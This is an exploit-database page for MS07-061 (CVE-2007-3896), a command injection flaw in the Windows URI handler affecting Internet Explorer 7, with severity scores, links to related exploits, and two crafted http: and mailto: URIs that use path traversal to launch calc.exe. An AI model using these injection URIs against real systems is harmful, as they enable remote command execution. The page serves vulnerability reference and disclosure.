Exploit for Microsoft Windows URI处理器命令注入漏洞（MS07-061）

seebug · 2007-11-15

Description

Microsoft Windows URI处理器命令注入漏洞（MS07-061）BUGTRAQ ID: 2594

Affected Microsoft Internet Explorer versions

Microsoft Internet Explorer= 7.0

All known vulnerabilities by product

Internet Explorer 7 Server 2003 Shell32.Dll Windows Windows Xp

CVSS 9.3 for CVE-2007-3896

9.3

HIGH SEVERITY

VectorAV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/

EPSS Score

53.8%higher than 98.9% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2007-11-15 00:00

Last Seen:2017-11-19 21:55

Reporter:Root

Tags

microsoft windowsuri处理器漏洞输入验证错误远程攻击internet explorer 7.0安全公告补丁远程代码执行

Other exploits for CVE-2007-3896

Windows IE7 URI Handler command execution through Firefox

2007-10-19 SAINT CorporationSAINT

Windows IE7 URI Handler command execution through Firefox

2007-10-19 SAINT CorporationSAINT

Windows IE7 URI Handler command execution through Firefox

2007-10-19 SAINT CorporationSAINT

Windows IE7 URI Handler command execution through Firefox

2007-10-19 SAINT CorporationSAINT

Immunity Canvas: IE7WMP

2007-10-10 Immunity CanvasCANVAS

Immunity Canvas: IEPDF

2007-10-10 Immunity CanvasCANVAS

Microsoft Windows - URI Handler Command Execution

2007-10-05 Billy RiosEXPLOITDB

Exploit Code

MARKDOWN3 lines

## https://sploitus.com/exploit?id=SSV:2423
http:%xx../../../../../../../../../../../windows/system32/calc.exe&quot;.bat
mailto:test%&nbsp;../../../../windows/system32/calc.exe&quot;.cmd